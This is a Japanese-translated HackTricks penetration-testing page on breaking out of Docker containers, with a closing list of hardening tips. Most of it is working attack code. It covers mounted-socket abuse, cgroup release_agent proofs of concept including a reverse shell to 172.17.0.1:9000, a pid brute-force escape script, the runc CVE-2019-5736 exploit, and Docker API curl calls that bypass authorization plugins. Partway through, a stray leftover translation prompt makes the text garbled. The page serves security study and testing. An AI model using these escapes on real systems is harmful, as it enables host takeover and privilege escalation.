hacktricks/linux-unix/privilege-escalation/docker-breakout.md

36 KiB
Raw Blame History

htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

コンテナとは何か

要約すると、cgroupsプロセスが使用できるもの、例えばCPUやRAMnamespaces(プロセスが見ることができるもの、例えばディレクトリや他のプロセス)を介して隔離された プロセスです。

docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)

マウントされたdockerソケット

もし何らかの方法でdockerソケットがマウントされていることがdockerコンテナ内で分かった場合、それを脱出することができます。
これは通常、何らかの理由でdockerデーモンに接続してアクションを実行する必要があるdockerコンテナで発生します。

#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock

この場合、通常のdockerコマンドを使用してdockerデーモンと通信できます

#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

{% hint style="info" %} dockerソケットが予期しない場所にある場合でも、パラメータ**-H unix:///path/to/docker.sockを使用してdocker**コマンドで通信することができます。 {% endhint %}

コンテナの機能

コンテナの機能を確認し、次のいずれかを持っている場合、脱出することができる可能性があります: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE

現在のコンテナの機能は以下のコマンドで確認できます:

capsh --print

以下のページでは、Linuxの権限についてさらに学び、それらをどのように悪用するかについて学ぶことができます:

{% content-ref url="linux-capabilities.md" %} linux-capabilities.md {% endcontent-ref %}

--privileged フラグ

--privileged フラグを使用すると、コンテナはホストデバイスへのアクセスを持つことができます。

Rootを所有する

適切に設定されたDockerコンテナは、fdisk -l のようなコマンドを許可しません。しかし、--privileged フラグが指定されている誤設定されたDockerコマンドでは、ホストドライブを見る権限を取得することが可能です。

したがって、ホストマシンを乗っ取ることは簡単です:

mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
そして、ボワラ!ホストのファイルシステムにアクセスできるようになりました。それは`/mnt/hola`フォルダにマウントされています。

{% code title="初期PoC" %}
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o;
echo $t/c >$d/release_agent;
echo "#!/bin/sh $1 >$t/o" >/c;
chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

{% endcode %}

{% code title="第二のPoC" %}

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output

{% endcode %}

--privilegedフラグは重大なセキュリティ上の懸念を引き起こし、このエクスプロイトはそれが有効になっているDockerコンテナを起動することに依存しています。このフラグを使用すると、コンテナはすべてのデバイスへの完全なアクセス権を持ち、seccomp、AppArmor、Linuxの機能からの制限がありません。

実際、--privilegedはこの方法でDockerコンテナから脱出するために必要な権限よりもはるかに多くの権限を提供します。現実には、「ただ」以下の要件があります

  1. コンテナ内でrootとして実行されている必要があります
  2. コンテナはSYS_ADMIN Linux機能で実行されている必要があります
  3. コンテナはAppArmorプロファイルを持っていないか、またはmountシステムコールを許可する必要があります
  4. コンテナ内でcgroup v1仮想ファイルシステムが読み書き可能でマウントされている必要があります

SYS_ADMIN機能はコンテナがマウントシステムコールを実行することを可能にします(man 7 capabilitiesを参照)。Dockerはデフォルトで制限された機能セットでコンテナを起動しますし、セキュリティリスクのためSYS_ADMIN機能を有効にしません。

さらに、Dockerはデフォルトでdocker-default AppArmorポリシーでコンテナを起動します。これは、SYS_ADMINで実行されている場合でも、マウントシステムコールの使用を防ぎます

コンテナは、フラグ--security-opt apparmor=unconfined --cap-add=SYS_ADMINで実行された場合、このテクニックに対して脆弱になります。

コンセプト実証の分析

このテクニックを使用するための要件を理解し、コンセプト実証エクスプロイトを洗練させたので、それを行ごとに歩いていき、どのように機能するかを示しましょう。

このエクスプロイトをトリガーするには、release_agentファイルを作成し、cgroup内のすべてのプロセスを終了させることによってrelease_agentの呼び出しをトリガーできるcgroupが必要です。それを達成する最も簡単な方法は、cgroupコントローラをマウントし、子cgroupを作成することです。

それを行うために、/tmp/cgrpディレクトリを作成し、RDMA cgroupコントローラをマウントし、子cgroupこの例では「x」と名付けられていますを作成します。すべてのcgroupコントローラがテストされたわけではありませんが、このテクニックは大多数のcgroupコントローラで機能するはずです。

もし「mount: /tmp/cgrp: special device cgroup does not exist」というメッセージが出た場合、それはあなたのセットアップにRDMA cgroupコントローラがないためです。rdmamemoryに変更することで修正できます。RDMAを使用しているのは、元のPoCがそれでのみ機能するように設計されていたからです。

cgroupコントローラはグローバルリソースであり、異なる権限で複数回マウントすることができ、一つのマウントで行われた変更は別のマウントにも適用されることに注意してください。

以下に「x」子cgroupの作成とそのディレクトリリストを示します。

root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks  x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks

次に、「x」cgroupのリリース時にcgroup通知を有効にするために、そのnotify_on_releaseファイルに1を書き込みます。また、コンテナ内で後で作成する/cmdスクリプトを実行するように、ホスト上のrelease_agentファイルに/cmdスクリプトのパスを書き込むことで、RDMA cgroupリリースエージェントを設定します。これを行うために、/etc/mtabファイルからホスト上のコンテナのパスを取得します。

コンテナ内で追加または変更するファイルはホスト上に存在し、コンテナ内のパスとホスト上のパスの両方から変更することが可能です。

以下にその操作を示します:

root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent

ホスト上で作成する /cmd スクリプトへのパスに注意してください:

root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
これで、`ps aux` コマンドを実行し、その出力をホスト上の出力ファイルの完全なパスを指定してコンテナの `/output` に保存するように `/cmd` スクリプトを作成します。最後に、`/cmd` スクリプトの内容を表示して確認します:
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output

最終的に、"x" 子 cgroup 内で直ちに終了するプロセスを生成することで攻撃を実行できます。/bin/sh プロセスを作成し、その PID を "x" 子 cgroup ディレクトリの cgroup.procs ファイルに書き込むと、/bin/sh が終了した後にホスト上のスクリプトが実行されます。ホスト上で実行された ps aux の出力は、コンテナ内の /output ファイルに保存されます:

root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  1.0  17564 10288 ?        Ss   13:57   0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S    13:57   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   13:57   0:00 [kworker/0:0H-kblockd]
root         8  0.0  0.0      0     0 ?        I<   13:57   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    13:57   0:00 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    13:57   0:00 [rcu_sched]
root        11  0.0  0.0      0     0 ?        S    13:57   0:00 [migration/0]

--privileged フラグ v2

以前のPoCは、例えば overlayfs のように、マウントポイントのホストパス全体を露出するストレージドライバーでコンテナが設定されている場合にはうまく機能しますが、最近、ホストファイルシステムのマウントポイントを明らかにしていないいくつかの設定に遭遇しました。

Kata Containers

root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)

Kata Containersはデフォルトでコンテナのルートファイルシステムを9pfsを介してマウントします。これはKata Containersの仮想マシン内のコンテナファイルシステムの位置に関する情報を漏らしません。

* Kata Containersについては、将来のブログ投稿で詳しく説明します。

Device Mapper

root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0

ライブ環境でこのルートマウントを持つコンテナを見かけましたが、特定の devicemapper ストレージドライバー設定で実行されていたと思いますが、テスト環境でこの挙動を再現することはできませんでした。

代替のPoC

明らかに、これらのケースではホストファイルシステム上のコンテナファイルのパスを特定するのに十分な情報がないため、FelixのPoCはそのままでは使用できません。しかし、少しの工夫でこの攻撃を実行することは可能です。

必要な鍵となる情報は、コンテナ内で実行するファイルの完全なパスであり、コンテナホストに対して相対的なものです。コンテナ内のマウントポイントからこれを判別することができない場合、他の方法を探る必要があります。

Procが救世主に

Linuxの /proc 疑似ファイルシステムは、システム上で実行されているすべてのプロセスのカーネルプロセスデータ構造を公開しており、例えばコンテナ内の異なる名前空間で実行されているプロセスも含まれます。これは、コンテナ内でコマンドを実行し、ホスト上のプロセスの /proc ディレクトリにアクセスすることで示されます:コンテナ

root@container:~$ sleep 100
root@host:~$ ps -eaf | grep sleep
root     28936 28909  0 10:11 pts/0    00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x   9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov  9 15:41 ..
dr-xr-xr-x   2 root root 0 Nov 19 10:04 attr
-rw-r--r--   1 root root 0 Nov 19 10:04 autogroup
-r--------   1 root root 0 Nov 19 10:04 auxv
-r--r--r--   1 root root 0 Nov 19 10:03 cgroup
--w-------   1 root root 0 Nov 19 10:04 clear_refs
-r--r--r--   1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r--   1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx   1 root root 0 Nov 19 10:29 root -> /
-rw-r--r--   1 root root 0 Nov 19 10:29 sched
...

以下は、ハッキング技術に関するハッキングの本の内容です。関連する英語のテキストを日本語に翻訳し、まったく同じマークダウンおよびhtml構文を保持して翻訳を返してください。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名Workspace、aws、gcpなど、'leak'という単語、ペネトレーションテスト、およびマークダウンタグなどの翻訳は行わないでください。また、翻訳とマークダウン構文以外の余分なものは追加しないでください。

余談ですが、/proc/<pid>/root データ構造は、私が非常に長い間混乱していたもので、なぜ / へのシンボリックリンクが有用なのか理解できませんでした。それは、manページで実際の定義を読むまでのことでした。

/proc/[pid]/root

UNIXおよびLinuxは、chroot(2)システムコールによって設定されるプロセスごとのファイルシステムのルートという考えをサポートしています。このファイルは、プロセスのルートディレクトリを指すシンボリックリンクであり、exeやfd/*と同じように動作します。

ただし、このファイルは単なるシンボリックリンクではありません。プロセス自体と同じファイルシステムのビュー(名前空間やプロセスごとのマウントセットを含む)を提供します。

/proc/<pid>/root シンボリックリンクは、コンテナ内の任意のファイルへのホスト相対パスとして使用できますContainer

root@container:~$ echo findme > /findme
root@container:~$ sleep 100
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme

この攻撃の要件は、コンテナ内のファイルの完全なパスをコンテナホストに対して知っていることから、コンテナ内で実行されている_任意の_プロセスのpidを知っていることに変わります。

Pid Bashing

これは実際には簡単な部分です。LinuxではプロセスIDは数値であり、順番に割り当てられます。initプロセスにはプロセスID 1が割り当てられ、その後のすべてのプロセスにはインクリメンタルなIDが割り当てられます。コンテナ内のプロセスのホストプロセスIDを特定するために、ブルートフォースのインクリメンタル検索が使用できますContainer

root@container:~$ echo findme > /findme
root@container:~$ sleep 100

ホスト

root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme

すべてをまとめる

この攻撃を完了するために、ブルートフォース技術を使用して /proc/<pid>/root/payload.sh のパスの pid を推測し、各イテレーションで推測された pid パスを cgroups の release_agent ファイルに書き込み、release_agent をトリガーし、出力ファイルが作成されるかどうかを確認します。

この技術の唯一の注意点は、それが微妙ではなく、pid の数を非常に高くする可能性があるということです。長時間実行されるプロセスは実行されないため、これは信頼性の問題を引き起こすべきではありませんが、その点については私の言葉を引用しないでください。

以下の PoC は、これらの技術を実装して、Felix の元の PoC で最初に提示されたものよりも一般的な攻撃を提供します。これは、cgroups の release_agent 機能を使用して特権コンテナから脱出するためのものです:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

プリビレッジドコンテナ内でPoCを実行すると、以下のような出力が得られるはずです

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

Runc exploit (CVE-2019-5736)

root権限でdocker execを実行できる場合おそらくsudoを使用、CVE-2019-5736を悪用してコンテナから脱出し権限を昇格させることができますexploitはこちら)。この技術は基本的にホストの_/bin/sh_ バイナリをコンテナから 上書きするので、docker execを実行する人は誰でもペイロードをトリガーする可能性があります。

ペイロードを適切に変更し、go build main.goでmain.goをビルドします。結果として得られるバイナリは、実行のためにdockerコンテナに配置する必要があります。
実行時に[+] Overwritten /bin/sh successfullyと表示されたら、ホストマシンから以下を実行する必要があります:

docker exec -it <container-name> /bin/sh

これにより、main.goファイルに存在するペイロードがトリガーされます。

詳細については:https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

Docker Auth Plugin Bypass

場合によっては、sysadminはdockerにいくつかのプラグインをインストールして、低権限ユーザーが権限を昇格させることなくdockerと対話するのを防ぐかもしれません。

disallowed run --privileged

このケースでは、sysadminはユーザーがボリュームをマウントしたり、--privilegedフラグを使用してコンテナを実行したり、コンテナに追加の機能を与えることを 禁止しました

docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.

しかし、ユーザーは実行中のコンテナ内にシェルを作成し、それに追加の権限を与えることができます

docker run -d --security-opt "seccomp=unconfined" ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
docker exec -it --privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash

ユーザーは、以前に議論された技術のいずれかを使用してコンテナから脱出し、ホスト内で権限を昇格させることができます。

書き込み可能なフォルダのマウント

このケースでは、sysadminはユーザーがコンテナに --privileged フラグを使用することや、コンテナに追加の機能を与えることを禁止し/tmp フォルダのマウントのみを許可しました:

host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root

{% hint style="info" %} /tmpフォルダをマウントできない場合がありますが、異なる書き込み可能なフォルダをマウントすることができます。書き込み可能なディレクトリを見つけるには、次のコマンドを使用します:find / -writable -type d 2>/dev/null

Linuxマシンのすべてのディレクトリがsuidビットをサポートしているわけではありません suidビットをサポートしているディレクトリを確認するには、mount | grep -v "nosuid" を実行します。例えば通常、/dev/shm/run/proc/sys/fs/cgroup/var/lib/lxcfs はsuidビットをサポートしていません。

また、/etcやその他の設定ファイルを含むフォルダをマウントできる場合、dockerコンテナ内でrootとしてそれらを変更し、ホストで悪用して権限を昇格させることができます(例えば/etc/shadowを変更することによって)。 {% endhint %}

チェックされていないJSON構造

sysadminがdockerのファイアウォールを設定した際に、APIの重要なパラメータhttps://docs.docker.com/engine/api/v1.40/#operation/ContainerList)の一つである"Binds"を忘れている可能性があります。 以下の例では、この設定ミスを悪用して、ホストのルート(/)フォルダをマウントするコンテナを作成し実行することができます:

docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem

チェックされていないJSON属性

sysadminがdockerファイアウォールを設定した際に、API(https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)のパラメーターの重要な属性を忘れてしまった可能性があります。例えば、"HostConfig"内の"Capabilities"がそれにあたります。以下の例では、この誤設定を悪用して、SYS_MODULE機能を持つコンテナを作成し実行することが可能です:

docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability

書き込み可能なhostPathマウント

(こちらからの情報) コンテナ内で、攻撃者はクラスターによって作成された書き込み可能なhostPathボリュームを介して基盤となるホストOSへのさらなるアクセスを試みることがあります。以下は、この攻撃ベクトルを利用できるかどうかをコンテナ内で確認できる一般的な項目です

### Check if You Can Write to a File-system
$ echo 1 > /proc/sysrq-trigger

### Check root UUID
$ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem
$ findfs UUID=<UUID Value>/dev/sda1- Attempt to Mount the Host's Filesystem
$ mkdir /mnt-test
$ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

### debugfs (Interactive File System Debugger)
$ debugfs /dev/sda1

コンテナのセキュリティ向上

DockerのSeccomp

これはDockerコンテナから脱出する技術ではありませんが、Dockerが使用しているセキュリティ機能であり、Dockerからの脱出を防ぐ可能性があるため、知っておくべきです

{% content-ref url="seccomp.md" %} seccomp.md {% endcontent-ref %}

DockerのAppArmor

これはDockerコンテナから脱出する技術ではありませんが、Dockerが使用しているセキュリティ機能であり、Dockerからの脱出を防ぐ可能性があるため、知っておくべきです

{% content-ref url="apparmor.md" %} apparmor.md {% endcontent-ref %}

AuthZ & AuthN

認証プラグインは、現在の認証コンテキストとコマンドコンテキストの両方に基づいて、Docker デーモンへのリクエスト承認または拒否します。認証コンテキストには、すべてのユーザー詳細認証方法が含まれています。コマンドコンテキストには、すべての関連するリクエストデータが含まれています。

{% content-ref url="broken-reference" %} リンク切れ {% endcontent-ref %}

gVisor

gVisorはGoで書かれたアプリケーションカーネルで、Linuxシステムの大部分を実装しています。これには、アプリケーションとホストカーネルの間の分離境界を提供するOpen Container Initiative (OCI)ランタイムのrunscが含まれています。runscランタイムはDockerとKubernetesと統合されており、サンドボックス化されたコンテナを簡単に実行できます。

{% embed url="https://github.com/google/gvisor" %}

Kata Containers

Kata Containersは、コンテナのように感じられ、コンテナのように動作するが、ハードウェア仮想化技術を使用してより強力なワークロードの分離を提供する、軽量な仮想マシンを構築するために取り組んでいるオープンソースコミュニティです。

{% embed url="https://katacontainers.io/" %}

安全にコンテナを使用する

Dockerはデフォルトでコンテナを制限し、制約をかけています。これらの制限を緩めることは、--privilegedフラグの完全な権限なしでも、セキュリティ問題を引き起こす可能性があります。追加される各権限の影響を認識し、必要最小限に権限を制限することが重要です。

コンテナを安全に保つために:

  • --privilegedフラグを使用しないでください。また、Dockerソケットをコンテナ内にマウントしないでください。Dockerソケットはコンテナの生成を可能にするため、例えば--privilegedフラグを使用して別のコンテナを実行することで、ホストを完全に制御する簡単な方法です。
  • コンテナ内でrootとして実行しないでください。異なるユーザーを使用するか、ユーザーネームスペースを使用してください。コンテナのrootは、ユーザーネームスペースでリマップされていない限り、ホスト上のrootと同じです。主にLinuxのネームスペース、機能、およびcgroupsによって軽く制限されています。
  • すべての機能をドロップ--cap-drop=all)し、必要なもののみを有効にします(--cap-add=...)。多くのワークロードはいかなる機能も必要とせず、それらを追加することは潜在的な攻撃の範囲を広げます。
  • “no-new-privileges”セキュリティオプションを使用して、例えばsuidバイナリを通じて、プロセスがより多くの権限を得ることを防ぎます。
  • コンテナに利用可能なリソースを制限します。リソースの制限は、サービス拒否攻撃からマシンを保護することができます。
  • 必要最小限にコンテナのアクションとシステムコールを制限するために、seccompAppArmorまたはSELinuxプロファイルを調整します。
  • 公式のdockerイメージを使用するか、それらに基づいて自分のイメージを構築してください。バックドアが仕掛けられたイメージを継承したり使用したりしないでください。
  • 定期的にイメージを再構築してセキュリティパッチを適用してください。これは言うまでもありません。

参考文献

htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法